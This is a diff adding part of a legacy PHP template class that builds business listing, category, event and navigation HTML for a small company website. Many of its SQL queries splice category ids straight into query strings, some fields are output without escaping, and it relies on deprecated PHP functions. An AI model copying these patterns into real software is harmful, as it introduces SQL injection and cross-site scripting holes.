+       * <code><p><a href="http://{$url}" target="_blank">{$text}</a></code>
+       * </p>
+       *
+       * @param string $url: The url
+       * @param string $text: The text as string
+       * 
+       * @return string $text
+       * @access public 
+       **/
+       function set_url( $url, $text )
+       {
+               if( $url != "" )
+               {
+                       if( !$text )
+                       {
+                               $text = $url;
+                       }
+                       if( strtolower( substr( $url, 0, 7 ) ) == "https://" )
+                       {
+                               $url = '<p><a href="'.$url.'" target="_blank">'.htmlspecialchars($text).'</a></p>';
+                       }
+                       else
+                       {
+                               $url = '<p><a href="http://'.$url.'" target="_blank">'.htmlspecialchars($text).'</a></p>';
+                       }
+               }
+               return( $url ); 
+       }
+
+       /**
+       * set_email:Set the email string
+       * @param string $email: The email as string
+       * @param string $contact: The contactname this is used as the link text
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_email( $email, $contact )
+       {
+               if( $email != "" )
+               {
+                       if( $contact != "" )
+                       {
+                               $email = '<p><strong>Contact:</strong>&nbsp;&nbsp;<a href="mailto:'.$email.'" target="_blank">'.htmlspecialchars($contact).'</a></p>';
+                       }
+                       else
+                       {
+                               $email = '<p><strong>Email:</strong>&nbsp;&nbsp;<a href="mailto:'.$email.'" target="_blank">'.htmlspecialchars($email).'</a></p>';
+                       }
+               }
+               return( $email );       
+       }
+
+       /**
+       * set_header:Set the header string
+       * @param string $text: The text as string
+       * @uses GLM_TEMPLATE::header_begin()
+       * @uses GLM_TEMPLATE::header_end()
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_header( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = $this->header_begin.htmlspecialchars($text).$this->header_end;  
+               }
+               return( $text );
+       }
+
+       /**
+       * set_subheader:Set the subheader string
+       * @param string $text: The text as string
+       * @uses GLM_TEMPLATE::subheader_begin()
+       * @uses GLM_TEMPLATE::subheader_end()
+       *
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_subheader( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = $this->subheader_begin.htmlspecialchars($text).$this->subheader_end;    
+               }
+               return( $text );
+       }
+
+       /**
+       * set_phone:Set the phone string
+       * @param string $text: The text as string
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_phone( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = '<p><strong>Phone:</strong>&nbsp;&nbsp;'.$text.'</p>';  
+               }
+               return( $text );
+       }
+
+       /**
+       * set_fax:Set the fax string
+       * @param string $text: The text as string
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_fax( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = '<p><strong>Fax:</strong>&nbsp;&nbsp;'.htmlspecialchars($text).'</p>';  
+               }
+               return( $text );
+       }
+
+       /**
+       * set_file:Set the file string
+       * @param string $text: The text as string
+       * @param string $name: The file name displayed
+       * @uses URL_BASE
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_file( $text, $name )
+       {
+               if( $text != "" )
+               {
+                       $outtext = '<p><a href="'.URL_BASE.'uploads/'.$text.'" target="_blank">';
+                       if($name)
+                       {
+                               $outtext .= htmlspecialchars($name);
+                       }
+                       else
+                       {
+                               $outtext .= htmlspecialchars($text);
+                       }
+                       $outtext .= '</a>';
+                       if(ereg("[.]([a-zA-Z]{3}$)",$text,$tmp))
+                       {
+                               $outtext .= '<span class="'.$tmp[1].'">&nbsp;</span>';
+                       }
+                       $outtext .= '</p>';
+               }
+               return( $outtext );
+       }
+
+       /**
+       * set_address:set_address
+       * @param array $data: data contain the address info for display.
+       * 
+       * @return string $address
+       * @access public 
+       **/
+       function set_address( $data )
+       {
+               $address = "";
+               if( $data["address"] )
+               {
+                       $address .= $data["address"];
+               }
+               if( $data["city"] && $data["state"] && $data["zip"] )
+               {
+                       $address .= '<br>'.$data["city"].', '.$data["state"].' '.$data["zip"];
+               }       
+               elseif( $data["city"] && $data["state"] )
+               {
+                       $address .= '<br>'.$data["city"].', '.$data["state"];
+               }
+               elseif( $data["city"] )
+               {
+                       $address .= '<br>'.$data["city"];
+               }
+               if( $address != "" )
+               {
+                       return( '<p>'.$address.'<br></p>' );
+               }
+       }
+
+       /**
+       * get_all:Does the query and set_data calls boths arrays
+       * 
+       * @uses GLM_TEMPLATE::set_data()
+       * @uses GLM_TEMPLATE::$data
+       * @uses GLM_TEMPLATE::$items
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void
+       * @access public 
+       **/
+       function get_all( $type = NULL )
+       {
+               $catid = $this->catid; 
+               if( $type == 1 || !$type )
+               {
+                       $cat_query = "select * from bus_category where id = $catid order by pos";  
+                       $res = $this->set_data( $this->DB->db_auto_get_data( $cat_query ) );
+                       $this->data = $res[0];
+               }
+               if( $type == 2 || !$type )
+               {
+                       $item_query = "select b.* from bus b left outer join bus_category_bus bcb on (bcb.busid = b.id) where bcb.catid = $catid order by bcb.pos";
+                       $this->items = $this->set_data( $this->DB->db_auto_get_data( $item_query ) );
+               }
+       }
+
+       /**
+       * call all class methods to set tho data elements
+       *
+       * <p>This is hightly dependant on the three tables of bus bus_category and bus_category_bus 
+       * set_data:Calls each function of the class
+       * based on the key af the array $data[0][$key]</p>
+       * @todo Really need to look at enhancing this function for different datasetups. 
+       * @param array $data: The input array from db query
+       * @uses GLM_TEMPLATE::$img_size
+       * @uses GLM_TEMPLATE::$img_align
+       * @uses GLM_TEMPLATE::$img_alternate
+       * @uses GLM_TEMPLATE::set_text()
+       * @uses GLM_TEMPLATE::set_header()
+       * @uses GLM_TEMPLATE::set_subheader()
+       * @uses GLM_TEMPLATE::set_url()
+       * @uses GLM_TEMPLATE::set_address()
+       * @uses GLM_TEMPLATE::set_img()
+       * @uses GLM_TEMPLATE::set_email()
+       * @uses GLM_TEMPLATE::set_phone()
+       * 
+       * @return array data The finished array
+       * @access  public
+       **/
+       function set_data( $data )
+       {
+               if( is_array( $data ) )
+               {
+                       foreach( $data as $k => $val )
+                       {
+                               foreach( $val as $key => $value )
+                               {
+                                       if( strstr( $key, "image" ) && !strstr( $key, "name") && $value != "" )
+                                       {
+                                               $titletag = ( $data[$k]['category'] ) ? $data[$k]['category'] : $data[$k]['name'];
+                                               //$data[$k][$key."_name"] = $value;
+                                               $data[$k][$key] = $this->set_img( $value, $this->img_size, $this->img_align, $titletag, $data[$k][$key."name"] );
+                                               if( !strstr( $key, "name" ) )
+                                               {
+                                                       if( $this->img_align == "right" && $this->img_alternate )
+                                                       {
+                                                               $this->img_align = "left";
+                                                       }
+                                                       elseif( $this->img_alternate )
+                                                       {
+                                                               $this->img_align = "right";
+                                                       }
+                                               }
+                                       }
+                                       elseif( strstr($key,"file") && strstr($key,"name") && $value!="" )
+                                       {
+                                       }
+                                       elseif( strstr($key,"url") && strstr($key,"name") && $value!="" )
+                                       {
+                                       }       
+                                       elseif( strstr($key,"descr") && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+                                       }
+                                       elseif( $key == "contactname" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_contact( $value, $data[$k]['email'] );
+                                       }
+                                       elseif($key == "name" && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+                                       }
+                                       elseif( strstr( $key, "header" ) && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+                                       }
+                                       elseif( $key == "intro" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+                                       }
+                                       elseif( $key == "category" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+                                       }
+                                       elseif( $key == "url" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_url( $value, $data[$k]["urlname"] );
+                                       }
+                                       elseif( $key == "email" && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_email( $value, $data[$k]["contactname"] );
+                                       }
+                                       elseif( $key == "phone" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_phone($value);
+                                       }
+                                       elseif( $key == "fax" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_fax( $value );
+                                       }
+                                       elseif (strstr( $key, "file" ) && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_file( $value, $data[$k][$key.'name'] );
+                                       }
+                                       elseif( $key == "address" )
+                                       {
+                                               $data[$k][$key] =  GLM_TEMPLATE::set_address( $data[$k] );
+                                       }
+                                       elseif( $key == "id" )
+                                       {
+                                               $data[$k][$key] = $value;
+                                       }
+                                       else
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+                                       }
+                               }
+                       }       
+                       return( $data );
+               }       
+               return( false );
+       }
+
+       /**
+       * load_static_page:using object buffer include the page $catid.phtml from static dir
+       and return it as string
+       * 
+       * @return string $text 
+       * @access  public
+       **/
+       function load_static_page()
+       {
+               if( file_exists( BASE."static/".$this->catid.".phtml" ) )
+               {
+                       ob_start();
+                       include("static/".$this->catid.".phtml");
+                       $text = ob_get_contents();
+                       ob_end_clean();
+                       return($text);
+               }
+       }
+
+       /**
+       * clean_text:Do some text clean up.
+       * @param string $output: 
+       * 
+       * @return string text cleaned
+       * @access  public
+       **/
+       function clean_text($output)
+       {
+               $output = str_replace("<br />","<br>",$output);
+               $output = str_replace("<p><br></p>","",$output);
+               return($output);
+       }
+
+       /**
+       * get_category: grab just category contents
+       * @param integer $catid: id of bus_category
+       * @param object $DB: 
+       * @param boolean $showimg=1: weather or not to show category image
+       * @uses DELUXE_TOOLBOX
+       * @uses HOME_PAGE_EVENTS
+       * @uses GLM_TEMPLATE::clean_text()
+       * @uses GLM_TEMPLATE::get_home_events()
+       * 
+       * @return string $output
+       * @access public
+       **/
+       function get_category( $header = 1 )
+       {
+               if( DELUXE_TOOLBOX )
+               {
+                       $this->get_template( "cat" );
+               }
+                       
+               if( !$this->data )
+               {
+                       $this->get_all( 1 );
+               }
+               $data = $this->data;
+               if( $header == 1 )
+               {
+                       $output .= $data["intro"]." ";
+               }
+               $output .= $data["kiosk_text"]." ";
+               $output = GLM_TEMPLATE::clean_text($output);
+               return( $output );
+
+       }
+
+       function photo_module()
+       {
+               $query = "select photocat_id from photo_category_bus where buscat_id = $this->catid;";
+               if( $pData = $this->DB->db_auto_get_data( $query ) )
+               {
+                       if( count( $pData ) > 1 )
+                       {
+                               foreach( $pData as $pKey => $pVal )
+                               {
+                                       $photocatid[] = $pVal['photocat_id'];
+                               }
+                       }
+                       else
+                       {
+                               $photocatid = $pData[0]['photocat_id'];
+                       }
+                       if( is_numeric( $photocatid ) || is_array( $photocatid ) )
+                       {
+                               if( !$_GET['photo_catid'] )
+                               {
+                                       $_GET['photo_catid'] = $photocatid;
+                               }
+                               ob_start();
+                               include_once('classes/class_photos.inc');
+                               $Photo =& new GLM_PHOTOS();
+                               if( is_array( $_GET['photo_catid'] ) )
+                               {
+                                       $cats = implode(',',$_GET['photo_catid']);
+                                       echo $Photo->getPhotoCats( $cats );
+                               }
+                               elseif( is_numeric( $_GET['id'] ) && is_numeric( $_GET['photo_catid'] ) )
+                               {
+                                       echo $Photo->viewPhoto( $_GET['photo_catid'], $_GET['id'] );
+                               }
+                               elseif( $_GET['photo_catid'] )
+                               {
+                                       $url = $this->get_seo_url( $this->catid );
+                                       echo '<div class="header"><a href="'.$url.'">Back to '.$this->get_catheader( $this->catid, $this->DB ).'</a></div>';
+                                       echo $Photo->getPhotos( $_GET['photo_catid'] );
+                               }
+                               include( BASE.'static/photo.php' );
+                               $out .= ob_get_contents();
+                               ob_end_clean();
+                       }
+               }
+       }
+
+       /**
+        * get_page: replacing template_parser with get-page function
+        *
+        * @uses GLM_TEMPLATE::get_category() For building the main page section
+        * @uses GLM_TEMPLATE::get_listings() For building out the paragraph sections
+        * 
+        * @return  string $out NEED to echo results of this function 
+        * @access  public
+        **/
+       function get_page( $show_header = 1 )
+       {
+               $out .= $this->get_category( $show_header );
+               return( $out );
+       }
+
+        /**
+         * get_template: get the template type of the bus_category
+         * @param mixed $type : 'cat' or 'list' 
+         * 
+         * @uses GLM_DB::db_auto_get_data()
+         * 
+         * @return void 
+         * @access public
+         **/
+       function get_template( $type )
+       {
+               $query = "select template from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
+               switch( $type )
+               {
+                       case "cat":
+                               switch( $data[0]['template'] )
+                               {
+                                       case "5":
+                                       case "4":       
+                                       case "2":
+                                               $this->img_align = "left";
+                                       break;
+
+                                       default:
+                                               $this->img_align = "right";
+                                               break;
+                               }
+                       break;
+
+                       case "list":
+                               switch( $data[0]['template'] )
+                               {
+                                       case "5":
+                                               $this->img_align = "right";
+                                               $this->img_alternate = 0;
+                                       break;
+                                       case "4":       
+                                               $this->img_align = "right";
+                                               $this->img_alternate = 1;
+                                       break;
+
+                                       case "3":       
+                                               $this->img_align = "left";
+                                               $this->img_alternate = 1;
+                                       break;
+
+                                       case "2":
+                                               $this->img_align = "left";
+                                               $this->img_alternate = 0;
+                                       break;
+
+                                       case "1":       
+                                               $this->img_align = "right";
+                                               $this->img_alternate = 0;
+                                       break;
+
+                                       default:
+                                               break;
+                               }
+                       break;
+               }
+               return( $this->template = $data[0]['template'] );
+       }       
+       /**
+       * template_parser:This function creates data 
+       * and items arrays and does the output for the page.
+       * 
+       * @uses DELUXE_TOOLBOX
+       * @uses GLM_TEMPLATE::$items
+       * @uses GLM_TEMPLATE::get_template()
+       * @uses GLM_TEMPLATE::get_all()
+       * @uses GLM_TEMPLATE::load_static_page()
+       * @uses GLM_TEMPLATE::clean_text()
+       * 
+       * @return void
+       * @access public 
+       **/
+       function get_listings()
+       {
+               // grab category and items into data and items respectfully
+               if( DELUXE_TOOLBOX )
+               {
+                       $this->get_template( "list" );
+               }
+               
+               if( !is_array( $this->items ) )
+               {
+                       $this->get_all( 2 );
+               }
+
+               // load any static category page from the static directory 
+               // hard codded content would have $catid.phtml page for it
+               $output .= $this->load_static_page();
+               switch($this->type)
+               {
+
+                       default:        
+                       if(is_array($this->items))
+                       {
+                               foreach($this->items as $key=>$val)
+                               {
+                                       $output .= '<div class="clearer"></div>';
+                                       // items can be moved around as needed
+                                       $output .= '<div class="listing">'."\n";
+                                       $output .= $val["image"];
+                                       $output .= $val["name"];
+                                       $output .= $val["address"];
+                                       $output .= $val["description"];
+                                       $output .= $val["contactname"];
+                                       $output .= $val["email"];
+                                       $output .= $val["phone"];
+                                       $output .= $val["fax"];
+                                       $output .= $val["url"];
+                                       $output .= $val["file"];
+                                       $output .= $val["file2"];
+                                       $output .= $val["file3"];
+                                       $output .= "</div>"."\n";
+                               }
+                       }
+                       break;
+               }
+               $output = GLM_TEMPLATE::clean_text($output);
+               return( $output );
+       }
+
+       /**
+       * sub_nav:Create a sub navigation 4 across
+       * 
+       * @param integer $catid: The catid for the page
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void
+       * @access public 
+       **/
+       function sub_nav($catid)
+       {
+               //$catid = $this->get_top_parent($catid);
+               $query = "SELECT id,category,intro FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";       
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       $counter = 1;   
+                       $out = '';
+                       foreach($data as $key=>$val)
+                       {
+                               $url = $this->get_seo_url( $val['id'] );
+                               $title = strip_tags(addslashes($val['intro']));
+                               //GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_Name( $val['id'],"bus_category",$this->DB ) );
+                               $out .=  '<a title="'.$title.'" href="'.$url.'">';
+                               $out .= $val["category"];
+                               $out .= '</a><br>';     
+                       }       
+               }
+               return( $out );
+       }
+
+       /**
+       * get_home_events: get events flaged as home events
+       * @param object $DB: DB reference to DB obj
+       *
+       * @uses GLM_TEMPLATE::get_event_date()
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function get_home_events()
+       {
+               $query = "select id,header,substr(descr,0,30) as descr,bdate,edate,img from event where home = 't' and visable='t' and edate >= current_date;";
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       $output = '<div id="events">UPCOMING EVENTS<div id="eventsbox"> 
+                                       ';
+                       foreach($data as $key=>$value)
+                       {
+                               $id = $value['id'];
+                               $header = $value['header'];
+                               $title = strip_tags(addslashes($header));
+                               $sdate = strtotime($value['bdate']);
+                               $edate = strtotime($value['edate']);
+                               $dates = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+                               $output .= $dates;
+                               $output .= '<h3><a title="" href="events.phtml?eventid='.$id.'">'.$header.'</a></h3>';
+                       }
+                       $output .= '</div></div>';
+                       return($output);
+               }
+               else
+               {
+                       return( '' );
+               }
+       }
+
+       /**
+       * get_event_date: make the event date human readable
+       * @param string $sdate: start date
+       * @param string $edate: end date
+       * @param string $dateType: dateType Postgres,etc
+       * 
+       * @return string  
+       * @access public 
+       **/
+       function get_event_date($sdate,$edate,$dateType)
+       {
+               switch($dateType)
+               {
+                       case "Postgres":
+                       if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$sdate,$spt))
+                       {
+                               $mon = $spt[1];
+                               $day = $spt[2];
+                               $yr = $spt[3];
+                       }
+
+                       if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$edate,$ept))
+                       {
+                               $mon2 = $ept[1];
+                               $day2 = $ept[2];
+                               $yr2 = $ept[3];
+                       }
+                       break;
+
+                       case "timestamp":
+                       $mon = date("m",$sdate);
+                       $day = date("d",$sdate);
+                       $yr = date("Y",$sdate);
+                       $mon2 = date("m",$edate);
+                       $day2 = date("d",$edate);
+                       $yr2 = date("Y",$edate);
+                       break;
+
+               }$start = mktime(0,0,0,$mon,$day,$yr);
+               $end = mktime(0,0,0,$mon2,$day2,$yr2);
+               if ($day == $day2 && $mon == $mon2 && $yr == $yr2) 
+               {
+                       $dateparam = "F jS, Y"; 
+                       $date_begin = date($dateparam, $start) ;
+                       $date_end = "";
+               }
+               elseif ($day == $day2 AND $mon == $mon2 AND $yr != $yr2) 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($day != $day2 AND $mon == $mon2 AND $yr == $yr2) 
+               {
+                       $dateparam1 = "F jS -";
+                       $dateparam2 = "jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($day != $day2 AND $mon == $mon2 AND $yr != $yr2) 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($yr == $yr2) 
+               {
+                       $dateparam1 = "F jS -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               else 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+
+               return($date_begin." ".$date_end);
+       }
+
+       /**
+       * is_sub_id:Check to see if catid is sub of category
+       * 
+       * @param integer $catid: the catid looking at 
+       * @param integer $category: to see if it is in category
+       * @param object $DB: Db object reference
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return bool 
+       * @access public 
+       **/
+       function is_sub_id($catid,$category,&$DB)
+       {
+               if( !is_numeric( $catid ) )
+               {
+                       return( false );
+               }
+               if($category==$catid)
+               {
+                       return(true);
+               }
+               $query = "select id,parent from bus_category where id = $catid";
+               $data = $DB->db_auto_get_data($query);
+               $parent = $data[0]['parent'];
+               if($parent == 0)
+               {
+                       return(false);
+               }
+               else
+               {
+                       return( GLM_TEMPLATE::is_sub_id($parent,$category,&$DB) );      
+               }
+       }
+
+       /**
+       * get_parent: get parent for this category
+       * 
+       * @param integer $catid: id 
+       * @param object $DB: database obj
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return int $parent
+       * @access public 
+       **/
+       function get_parent($catid)
+       {
+               $query = "SELECT parent FROM bus_category WHERE id = $catid ORDER BY pos";      
+               $data = $this->DB->db_auto_get_data($query);
+               return( $data[0]["parent"] );
+       }
+
+       /**
+       * get_sub_nav:
+       * @param integer $catid: 
+       * @param object $DB: 
+       * 
+       * @uses GLM_TEMPLATE::get_parent()
+       * @uses GLM_TEMPLATE::get_seo_url()
+       * @uses GLM_TEMPLATE::is_sub_id()
+       * @uses GLM_TEMPLATE::get_sub_nav()
+       * @uses GLM_TEMPLATE::has_subs()
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return  string
+       * @access  public
+       **/
+       function get_sub_nav($catid,&$DB)
+       {
+               $parentid = GLM_TEMPLATE::get_parent($catid,&$DB);
+               //echo $parentid.'<br>';
+               $query = "SELECT id,category,intro FROM bus_category WHERE parent = $parentid ".$this->active_query." ORDER BY pos";    
+               $data = $DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       $output = '<div id="subnav">';
+                               $counter = 1;   
+                               foreach($data as $key=>$val)
+                               {
+                                       $url = $this->get_seo_url( $val['id'] );
+                                       $title = strip_tags(addslashes($val['intro']));
+                                       if(GLM_TEMPLATE::is_sub_id($catid,$parentid,&$DB) && (GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) || $val['id'] == $catid) )
+                                       {
+                                               $output .=  '<a title="'.$title.'" class="current" href="'.$url.'">';
+                                       }
+                                       else
+                                       {
+                                               $output .=  '<a title="'.$title.'" href="'.$url.'">';
+                                       }
+                                       $output .=  $val["category"];
+                                       $output .=  '</a>';     
+                                       if( GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) && GLM_TEMPLATE::has_subs($val['id'],&$DB))
+                                       {
+                                               $output .= GLM_TEMPLATE::get_sub_nav($val["id"],&$DB,$catid);
+                                       }       
+                               }       
+                               $output .= '</div>';
+                       $output = GLM_TEMPLATE::clean_text($output);
+                       echo $output;
+               }
+               return(false);
+       }
+
+       /**
+       * has_subs:
+       * @param integer $catid: 
+       * @param object $DB: 
+       * 
+       * @uses GLM_TEMPLATE::$active_query
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return  string
+       * @access  public
+       **/
+       function has_subs($catid,&$DB)
+       {
+               $query = "SELECT id FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";      
+               $data = $DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       return(true);
+               }
+               else
+               {
+                       return(false);
+               }
+       }
+
+
+       /**
+       * get_top_parent:Get the highest level parent id (not 0 )for the category.
+       *
+       *       <p><b>NOTICE:</b> This is ment to get the top level parent not the parent of the id given.</p>
+       *
+       * @param integer $id: The catid for the page.
+       * @param object $DB: obj
+       * @uses GLM_TEMPLATE::get_top_parent()
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return int $parent 
+       * @access public 
+       **/
+       function get_top_parent($id,&$DB)
+       {
+               if( $id == 0 )
+               {
+                       return( 0 );            
+               }
+               $qs = "select parent from bus_category where id = $id";
+               $parentrow = $DB->db_auto_get_data( $qs );        
+               if($parentrow[0]['parent'] == 0)
+               {
+                       return($id);
+               }
+               else
+               {
+                       return( GLM_TEMPLATE::get_top_parent($parentrow[0]['parent'],&$DB) );
+               }
+       }
+
+       /**
+       * show_catimg:output the category image.
+       * 
+       * @param integer $catid: The catid for the page.
+       * @uses GLM_TEMPLATE::MIDSIZED
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void 
+       * @access  public
+       **/
+       function show_catimg($catid)
+       {
+               $query = "SELECT image FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0]["image"]!="")
+               {
+                       $img = '<img src="'.MIDSIZED.$data[0]["image"].'" border="0" vspace="30" hspace="0">';
+               }
+               else
+               {
+                       $img = '<img src="assets/logo_small.gif" width="150" height="85" vspace="0" hspace="0" border="0" alt="Birchwood Construction"><BR>';
+               }
+               echo $img;
+               echo '<BR><img src="assets/clear.gif" height="30" width="1">';
+       }
+
+
+       /**
+       * get_catheader:output the category name.
+       * 
+       * @param integer $catid: The catid for the page
+       * @param object $DB: db obj 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void 
+       * @access  public
+       **/
+       function get_catheader( $catid )
+       {
+               $query = "SELECT category FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0]['category']!="")
+               {
+                       $header = strip_tags($data[0]['category']);
+               }
+               else
+               {
+                       $header = '';
+               }
+               return( $header );
+       }
+       
+               /**
+       * get_catintro: return the category page name.
+       * 
+       * @param integer $catid: The catid for the page
+       * @param object $DB: db obj 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void 
+       * @access  public
+       **/
+       function get_catintro($catid)
+       {
+               $query = "SELECT intro FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0]['intro']!="")
+               {
+                       $header = strip_tags($data[0]['intro']);
+               }
+               else
+               {
+                       $header = '';
+               }
+               return( $header );
+       }
+
+       /**
+       * show_catheader:
+       * 
+       * @param integer $catid: 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return  string
+       * @access  public
+       **/
+       function show_catheader($catid)
+       {
+               $query = "SELECT category FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0][category]!="")
+               {
+                       $header = $data[0][category];
+               }
+               else
+               {
+                       $header = '&nbsp;';
+               }
+               echo $header;
+       }
+
+       /**
+       * get_menu_string:get categories for the phplayermenu
+       * 
+       * @uses GLM_TEMPLATE::sort_childs()
+       * @uses GLM_TEMPLATE::convert_to_thread()
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return string 
+       * @access  public
+       **/
+       function get_menu_string()
+       {
+               $query = "SELECT id,parent,category FROM bus_category WHERE active = 't' ORDER BY parent,pos";
+               $data = $this->DB->db_auto_get_data($query);
+               $newdata = GLM_TEMPLATE::sort_childs($data);
+               $string = GLM_TEMPLATE::convert_to_thread($newdata,$newdata[0]);
+               return($string);
+       }
+       
+
+       /**
+        * get_menu_array: like get_menu_string but returns an array
+        * 
+        * @uses GLM_TEMPLATE::sort_childs()
+       * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  string
+        * @access  public
+        **/
+       function get_menu_array()
+       {
+               $query = "SELECT id,parent,category FROM bus_category WHERE active='t' ORDER BY parent,pos";
+               $data = $this->DB->db_auto_get_data($query);
+               $newdata = GLM_TEMPLATE::sort_childs($data);
+               return $newdata;
+       }
+
+       /**
+       * sort_childs:
+       * @param array $threads: 
+       * 
+       * @return  string
+       * @access  public
+       **/
+       function sort_childs($threads)
+       {
+               foreach($threads as $var=>$value)
+               {
+                       $childs[$value["parent"]][$value["id"]] = $value;
+               }
+               return($childs);
+       }
+
+       /**
+       * convert_to_thread:
+       * 
+       * @param array $threads: 
+       * @param array $thread: 
+       * @uses GLM_TEMPLATE::$thread_count
+       * @uses GLM_TEMPLATE::$whole_thread
+       * @uses GLM_TEMPLATE::get_seo_url()
+       * @uses GLM_TEMPLATE::convert_to_thread()
+       * 
+       * @return string
+       * @access public
+       **/
+       function convert_to_thread($threads, $thread)
+       {    
+               foreach($thread as $parent=>$value)
+               {
+                       $this->whole_thread .= str_repeat(".",$this->thread_count);
+                       $this->whole_thread .= "|".htmlentities($value['category']);
+                       $url = $this->get_seo_url( $value['id'] );
+                       $this->whole_thread .= "|".$url;
+                       $this->whole_thread .="\n";
+                       if($threads[$parent])
+                       {       
+                               $this->thread_count++;
+                               GLM_TEMPLATE::convert_to_thread($threads, $threads[$parent]);
+                       }
+               }
+               $this->thread_count--;
+               return $this->whole_thread;
+       }
+
+
+       /**
+        * has_children: return true or false if this category has sub categories under it.
+        * 
+        * @param integer $catid: 
+        * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  string
+        * @access  public
+        **/
+       function has_children($catid)
+       {
+               // returns number of children that $catid has
+               $qs="SELECT count(*) FROM bus_category WHERE parent=$catid";
+               $row=$this->DB->db_auto_get_data($qs);
+               return $row[0]['count'];
+       }
+       
+       /**
+       * get_ancestors:get the ancestors for this category
+       * 
+       * @param integer $catid: catid
+       * @param integer $count: starting counter
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return array 
+       * @access  public
+       **/
+       function get_ancestors($catid,$count)
+       {
+               if( $count == 0 )
+               {
+                       unset( $this->ancestors );
+               }
+               if($catid)
+               {
+                       $query = "SELECT        id,category,parent 
+                       FROM    bus_category
+                       WHERE   id = ".$catid."
+                       ".$this->active_query;
+                       $res = $this->DB->db_auto_get_data($query);
+                       $id = $res[0]['id'];
+                       $parent = $res[0]['parent'];
+                       $category = $res[0]['category'];
+                       $this->ancestors[$count]['id'] = $id;
+                       $this->ancestors[$count]['label'] = $category;
+
+                       $url = $this->get_seo_url( $id ); 
+                       $this->ancestors[$count]['link'] = $url;
+                       GLM_TEMPLATE::get_ancestors($parent,$count+1,$conn);
+
+                       return (array_reverse($this->ancestors) );
+               }
+       }
+
+        /**
+        * meta_tags: create the meta description content for this page.
+        * this is taken from the category description.
+        * this should be only done for all but the home page.
+        * $meta = ( $catid != 1 ) ? $toolbox->meta_tags() : '';
+        * 
+       * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  string
+        * @access  public
+        **/
+       function meta_tags()
+       {
+               $query = "select description from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
